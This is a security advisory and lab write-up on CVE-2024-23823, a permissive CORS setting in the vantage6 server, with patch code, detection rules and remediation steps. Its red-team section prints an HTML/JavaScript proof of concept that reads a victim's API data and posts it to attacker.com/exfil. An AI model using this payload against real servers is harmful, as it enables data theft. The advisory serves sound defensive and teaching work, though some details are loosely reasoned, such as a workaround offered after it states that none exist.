CVE-2024-23823

Executive Summary

CVE-2024-23823 is a security advisory affecting vantage6, an open-source framework designed to facilitate privacy-enhancing technologies such as Federated Learning and Multi-Party Computation. The vulnerability stems from the vantage6 server having no restrictions on CORS (Cross-Origin Resource Sharing) settings. This misconfiguration allows any external domain to make cross-origin requests to the server, potentially leading to unauthorized data access or actions.

The vulnerability is classified with a CVSS score of 4.2 (Medium). The impact is limited because vantage6 does not use session cookies, reducing the risk of session hijacking. However, the lack of CORS restrictions could still be exploited in combination with other vulnerabilities or for data exfiltration.

The issue has been addressed in commit 70bb4e1d8 and is expected to be included in a future release. No known workarounds exist, and users are advised to upgrade as soon as a new release is available.

Supply Chain & Package Security

vantage6 is a Python-based framework distributed via PyPI. The vulnerability affects the server component, which is part of the vantage6 package. Users should monitor PyPI for updates and verify the integrity of the package using checksums or signatures provided by the maintainers.

CVSS Breakdown & Threat Level

• CVSS Score: 4.2 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component remains the same.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): None – No data modification risk.
• Availability (A): None – No denial-of-service risk.

Threat Level: Medium. The vulnerability is easy to exploit but has limited impact due to the absence of session cookies. However, it could be chained with other vulnerabilities to increase severity.

Deep Dive & Mechanics

The vulnerability lies in the CORS configuration of the vantage6 server. CORS is a browser security mechanism that restricts web pages from making requests to a different domain than the one that served the web page. By default, the vantage6 server does not validate the Origin header, allowing any domain to make cross-origin requests.

How it works:

1. An attacker hosts a malicious website on a domain they control.
2. A victim, authenticated to a vantage6 server, visits the malicious site.
3. The malicious site makes a cross-origin request to the vantage6 server (e.g., using fetch or XMLHttpRequest).
4. Because the server does not enforce CORS restrictions, the request is processed, and the response is sent back to the malicious site.
5. The attacker can then read the response, potentially extracting sensitive data or performing actions on behalf of the victim.

Impact: While vantage6 does not use session cookies, the server may still rely on other authentication mechanisms (e.g., API tokens, OAuth). If the victim's browser automatically includes these credentials (e.g., via Authorization headers or cookies), the attacker could perform actions as the victim.

Vulnerable vs. Patched Code

Vulnerable Code (before commit 70bb4e1d8):

# Example of vulnerable CORS configuration
from flask_cors import CORS

app = Flask(__name__)
CORS(app)  # Allows all origins by default

Patched Code (after commit 70bb4e1d8):

# Example of patched CORS configuration
from flask_cors import CORS

app = Flask(__name__)
CORS(app, origins=["https://trusted-domain.com"])  # Restrict to specific origins

The patch introduces proper origin validation, allowing only trusted domains to make cross-origin requests.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy a vulnerable vantage6 server (version prior to the patch).
2. Set up a malicious website on a different domain (e.g., attacker.com).
3. Ensure the victim has an active session with the vantage6 server.

Exploitation Steps:

1. Craft a malicious HTML page that makes a cross-origin request to the vantage6 server:

   <!DOCTYPE html>
   <html>
   <body>
   <script>
       fetch('https://vulnerable-vantage6-server/api/data', {
           credentials: 'include'  // Include cookies/tokens
       })
       .then(response => response.json())
       .then(data => {
           // Exfiltrate data to attacker-controlled server
           fetch('https://attacker.com/exfil', {
               method: 'POST',
               body: JSON.stringify(data)
           });
       });
   </script>
   </body>
   </html>
   

2. Host this page on attacker.com.
3. Trick the victim into visiting the malicious page (e.g., via phishing email).
4. The victim's browser sends the request to the vantage6 server, including any stored credentials.
5. The server processes the request and returns the response.
6. The malicious script exfiltrates the response to the attacker's server.

Blue Team (Defender)

Detection Steps:

1. Monitor server logs for unusual Origin headers:
   • Look for requests with Origin headers not matching expected domains.
   • Example log entry: Origin: https://malicious.com
2. Use network monitoring tools to detect cross-origin requests from unexpected domains.
3. Implement Web Application Firewall (WAF) rules to block requests with suspicious Origin headers.

Mitigation:

1. Apply the patch from commit 70bb4e1d8 as soon as it is available.
2. As a temporary measure, configure a reverse proxy (e.g., Nginx) to validate the Origin header:

   location / {
       if ($http_origin !~* "^https://trusted-domain\.com$") {
           add_header Access-Control-Allow-Origin "" always;
           return 403;
       }
   }
   

Indicators of Compromise (IOCs)

• Network IOCs:
  • Requests with Origin headers from unexpected domains.
  • Unusual cross-origin requests to API endpoints.
• Log IOCs:
  • Server logs showing Origin: * or Origin: https://malicious.com.
  • Repeated failed CORS checks (if logging is enabled).
• File IOCs:
  • Presence of malicious HTML/JavaScript files on compromised systems.

Detection Engineering

YARA Rule

rule CVE_2024_23823_CORS_Misconfiguration {
    meta:
        description = "Detects vulnerable CORS configuration in vantage6 server"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23823"
    strings:
        $cors_all = "CORS(app)" nocase
        $cors_allow_all = "Access-Control-Allow-Origin: *" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-23823 - CORS Misconfiguration in Vantage6 Server
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects requests with suspicious Origin headers indicating CORS misconfiguration
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: vantage6
detection:
    selection:
        http.origin|contains:
            - "http://"
            - "https://"
        http.origin|not_contains:
            - "trusted-domain.com"
    condition: selection
falsepositives:
    - Legitimate cross-origin requests from trusted domains
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-23823 - CORS Misconfiguration in Vantage6 Server"; flow:to_server; content:"Origin:"; http_header; pcre:"/Origin:\s*(?!https?:\/\/trusted-domain\.com)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to the latest version of vantage6 once the patch is released.
2. Temporary Workaround: Configure a reverse proxy to validate the Origin header and restrict allowed origins.
3. Long-term Fix: Apply the patch from commit 70bb4e1d8 which implements proper CORS origin validation.
4. Monitoring: Enable logging of CORS-related events and monitor for suspicious cross-origin requests.
5. Security Hardening: Review and restrict all CORS configurations in the application to only allow trusted domains.

Valters IT
Securing Digital Frontiers